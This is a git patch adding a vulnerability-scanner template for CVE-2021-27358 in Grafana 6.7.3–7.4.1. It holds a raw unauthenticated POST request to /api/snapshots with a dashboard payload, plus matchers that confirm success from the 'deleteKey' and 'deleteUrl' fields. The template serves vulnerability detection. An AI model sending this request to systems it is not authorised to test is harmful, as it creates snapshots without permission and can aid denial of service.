From f892a053a2cfa1e017a6b1f53706fe4489bb19a0 Mon Sep 17 00:00:00 2001 From: sandeep Date: Fri, 24 Dec 2021 17:47:55 +0530 Subject: [PATCH] Added Grafana unauthenticated snapshot creation --- cves/2021/CVE-2021-27358.yaml | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 cves/2021/CVE-2021-27358.yaml diff --git a/cves/2021/CVE-2021-27358.yaml b/cves/2021/CVE-2021-27358.yaml new file mode 100644 index 0000000000..b8e17e630a --- /dev/null +++ b/cves/2021/CVE-2021-27358.yaml @@ -0,0 +1,29 @@ +id: CVE-2021-27358 + +info: + author: pdteam + name: Grafana unauthenticated snapshot creation + severity: high + description: The snapshot feature in Grafana 6.7.3 through 7.4.1 can allow an unauthenticated remote attackers to trigger a Denial of Service via a remote API call if a commonly used configuration is set. + reference: + - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-27358 + tags: cve,cve2021,grafana + +requests: + - raw: + - | + POST /api/snapshots HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600} + + matchers: + - part: body + type: word + words: + - "deleteKey" + - "deleteUrl" + condition: and \ No newline at end of file